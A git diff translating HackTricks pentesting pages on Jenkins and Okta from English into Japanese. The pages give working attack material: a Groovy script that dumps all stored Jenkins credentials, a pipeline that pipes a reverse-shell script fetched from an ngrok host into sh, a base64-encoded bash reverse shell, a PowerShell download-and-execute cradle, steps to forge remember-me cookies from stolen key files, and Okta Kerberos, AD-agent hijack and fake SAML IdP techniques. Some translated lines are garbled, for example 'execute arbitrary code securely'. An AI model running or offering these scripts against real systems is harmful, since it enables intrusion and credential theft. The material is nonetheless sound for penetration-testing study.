-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+資格情報は、**グローバルプロバイダーにスコープを設定**(`/credentials/`)することができ、構成された任意のプロジェクトからアクセスできます。また、**特定のプロジェクト**(`/job//configure`)にスコープを設定することもでき、その場合は特定のプロジェクトからのみアクセス可能です。
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると:スコープ内の資格情報は、制限なしにパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されているため、`env`(Linux)や`set`(Windows)を呼び出したり、環境やパラメータを印刷するプログラムは、資格情報にアクセスできないユーザーに対してビルドログにそれらを**表示しません**。
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**そのため、資格情報を外部に持ち出すには、攻撃者は例えば、それらをbase64エンコードする必要があります。**
## References
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..9bf184164 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+このブログ記事では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。
### Attack Prerequisites
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Feature Requirement:** "Remember me"が有効である必要があります(デフォルト設定)。
+- **Access Levels:** 攻撃者はOverall/Read権限が必要です。
+- **Secret Access:** 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。
### Detailed Exploitation Process
@@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi
**User Information Retrieval**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
+- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得して収集します:
+- **Username**
+- **User seed**
+- **Timestamp**
+- **Password hash**
**Secret Key Extraction**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- クッキーの署名に使用される暗号鍵を抽出します:
+- **Secret Key:** `$JENKINS_HOME/secret.key`
+- **Master Key:** `$JENKINS_HOME/secrets/master.key`
+- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
**Token Preparation**
-- **Calculate Token Expiry Time:**
+- **トークンの有効期限を計算:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 現在の時間に1時間を追加
+```
-- **Concatenate Data for Token:**
+- **トークンのためのデータを連結:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
**MAC Key Decryption**
-- **Decrypt MAC Key File:**
+- **MACキーのファイルを復号化:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // マスターキーをAES128キー形式に変換
+decrypted = AES.decrypt(macFile, key) // .macファイルを復号化
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
**Signature Computation**
-- **Compute HMAC SHA256:**
+- **HMAC SHA256を計算:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // トークンとMACキーを使用してHMACを計算
+tokenSignature = bytesToHexString(mac) // MACを16進数文字列に変換
+```
**Cookie Encoding**
-- **Generate Final Cookie:**
+- **最終的なクッキーを生成:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // クッキーのデータをBase64エンコード
+```
#### Step 3: Code Execution
**Session Authentication**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **CSRFおよびセッショントークンを取得:**
+- `/crumbIssuer/api/json`にリクエストを送信して`Jenkins-Crumb`を取得します。
+- 応答から`JSESSIONID`をキャプチャし、remember-meクッキーと一緒に使用します。
**Command Execution Request**
-- **Send a POST Request with Groovy Script:**
+- **Groovyスクリプトを使用してPOSTリクエストを送信:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Groovyスクリプトは、システムレベルのコマンドやJenkins環境内の他の操作を実行するために使用できます。
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..0fdc19b37 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> これらのスクリプトは `credentials.xml` ファイル内の秘密のみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。
+`/script` の Groovy Script コンソールからすべての秘密を**ダンプ**するには、このコードを実行します。
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### またはこれ:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..2cbbf64a3 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -2,42 +2,36 @@
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## 新しいパイプラインの作成
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+「新しいアイテム」(`/view/all/newJob`でアクセス可能)で**パイプライン**を選択します:
.png>)
-In the **Pipeline section** write the **reverse shell**:
+**パイプラインセクション**に**リバースシェル**を書きます:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+最後に**Save**をクリックし、**Build Now**をクリックすると、パイプラインが実行されます:
.png>)
-## Modifying a Pipeline
+## パイプラインの修正
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+構成ファイルにアクセスできる場合は、単に**リバースシェルを追加して修正**し、それを実行するか、実行されるのを待つことができます。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..e32ce1565 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -2,39 +2,35 @@
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## プロジェクトの作成
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです(明らかに、ユーザーが新しいプロジェクトを作成することが許可されている場合にのみ機能します)。
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **新しいプロジェクトを作成**(フリースタイルプロジェクト)するには、「新しいアイテム」をクリックするか、`/view/all/newJob`に移動します。
+2. **ビルド**セクション内で**シェルを実行**を設定し、PowerShell EmpireランチャーまたはMeterpreter PowerShellを貼り付けます(_unicorn_を使用して取得できます)。ペイロードを_PowerShell.exe_で開始し、_powershell_を使用しないでください。
+3. **今すぐビルド**をクリックします。
+1. **今すぐビルド**ボタンが表示されない場合でも、**設定** --> **ビルドトリガー** --> `定期的にビルド`に移動し、`* * * * *`のcronを設定できます。
+2. cronを使用する代わりに、**リモートでビルドをトリガー**する設定を使用できます。この場合、ジョブをトリガーするためにAPIトークン名を設定するだけです。次に、ユーザープロファイルに移動し、**APIトークンを生成**します(このAPIトークンをジョブをトリガーするために呼んだAPIトークンと同じ名前にします)。最後に、次のコマンドでジョブをトリガーします:**`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## プロジェクトの変更
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+プロジェクトに移動し、**構成できるかどうかを確認**します(「構成ボタン」を探してください):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+**構成** **ボタン**が見えない場合、あなたはおそらくそれを**構成できません**(ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません)。
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+または、各プロジェクトで**パスにアクセスを試みて**ください`/job//configure`または`/me/my-views/view/all/job//configure`(例:`/job/Project0/configure`または`/me/my-views/view/all/job/Project0/configure`)。
-## Execution
+## 実行
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+プロジェクトを構成することが許可されている場合、**ビルドが成功したときにコマンドを実行させることができます**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+**保存**をクリックし、プロジェクトを**ビルド**すると、あなたの**コマンドが実行されます**。\
+リバースシェルを実行していない場合は、単純なコマンドを実行している場合、**ビルドの出力内でコマンドの出力を見ることができます**。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..488389eab 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+これはJenkinsで新しいプロジェクトを作成するよりも騒がしくありません。
+1. _path_jenkins/script_に移動します。
+2. テキストボックス内にスクリプトを入力します。
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+コマンドを実行するには、次のようにします: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+**linux** では、次のようにできます: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+テキスト内で _引用符_ と _シングルクォート_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。
+**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えてください):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
-### Reverse shell in linux
-
+### Linuxにおけるリバースシェル
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
+### Windowsでのリバースシェル
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+PSリバースシェルを用意したHTTPサーバーを作成し、Jenkinsを使用してそれをダウンロードして実行できます:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
+### スクリプト
-### Script
-
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+このプロセスを[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)で自動化できます。
+MSFを使用してリバースシェルを取得できます:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..04d9b97cb 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -2,117 +2,113 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/)は、クラウドベースのソフトウェアソリューションでアイデンティティおよびアクセス管理分野で認識されています。これらのソリューションは、さまざまな現代アプリケーションにおけるユーザー認証を簡素化し、安全にすることを目的としています。これらは、機密データを保護しようとする企業だけでなく、アプリケーション、ウェブサービス、デバイスにアイデンティティ管理を統合したい開発者にも対応しています。
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォームは、以下を含む製品群を網羅していますが、これに限定されません:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用することで、ユーザーアクセスを簡素化します。
+- **多要素認証 (MFA)**: 複数の確認手段を要求することでセキュリティを強化します。
+- **ライフサイクル管理**: ユーザーアカウントの作成、更新、無効化プロセスを自動化します。
+- **ユニバーサルディレクトリ**: ユーザー、グループ、デバイスの集中管理を可能にします。
+- **APIアクセス管理**: APIへのアクセスを保護し、管理します。
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+これらのサービスは、データ保護を強化し、ユーザーアクセスを簡素化することを目的としており、セキュリティと利便性の両方を向上させます。Oktaのソリューションの多様性は、さまざまな業界で人気の選択肢となっており、大企業、小規模企業、個々の開発者にとっても有益です。2021年9月の最新情報では、Oktaはアイデンティティおよびアクセス管理 (IAM) 分野で著名な存在として認識されています。
> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> Oktaの主な目的は、外部アプリケーションへの異なるユーザーおよびグループへのアクセスを構成することです。もしあなたが**Okta環境で管理者権限を侵害することができれば、会社が使用している他のすべてのプラットフォームを**侵害することが非常に可能性が高いです。
> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求する必要があります。
-### Summary
+### 概要
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+**ユーザー**(これは**Oktaに保存される**、構成された**アイデンティティプロバイダー**からログインする、または**Active Directory**やLDAPを介して認証されることができます)。\
+これらのユーザーは**グループ**内に存在することがあります。\
+また、**認証者**も存在します:パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAの認証オプション(これらは有効または無効にすることができます)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報を共有するために**Oktaとのマッピング**を持っています(メールアドレス、名前など)。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。
> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> 最も強力な役割は**スーパ管理者**です。
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> 攻撃者が管理者アクセスでOktaを侵害した場合、すべての**Oktaを信頼するアプリ**は非常に可能性が高く**侵害される**でしょう。
-## Attacks
+## 攻撃
-### Locating Okta Portal
+### Oktaポータルの特定
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+通常、企業のポータルは**companyname.okta.com**にあります。そうでない場合は、**companyname.**の単純な**バリエーション**を試してください。見つからない場合、組織が**CNAME**レコードを持っている可能性もあります。例えば、**`okta.companyname.com`**が**Oktaポータル**を指している場合です。
-### Login in Okta via Kerberos
+### Kerberosを介したOktaへのログイン
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用されており、通常は**MFA**をバイパスします**。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し、ブラウザを介してOktaに認証するために配信します。**
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
-### Hijacking Okta AD Agent
+### Okta ADエージェントのハイジャック
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は認証データを**傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、認証試行に**応答する**ことができ、不正アクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます(「スケルトンキー」のように)。
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
-### Hijacking AD As an Admin
+### 管理者としてADをハイジャック
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し、Okta APIを介して資格情報をキャプチャ**します。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
-### Okta Fake SAML Provider
+### Oktaの偽SAMLプロバイダー
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー(IdP)を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、Okta設定をユーザー名またはメールアドレスに一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に強化することができます。
-### Phishing Okta Portal with Evilgnix
+### Evilgnixを使用したOktaポータルのフィッシング
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+[**このブログ記事**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)では、Oktaポータルに対するフィッシングキャンペーンの準備方法が説明されています。
-### Colleague Impersonation Attack
+### 同僚のなりすまし攻撃
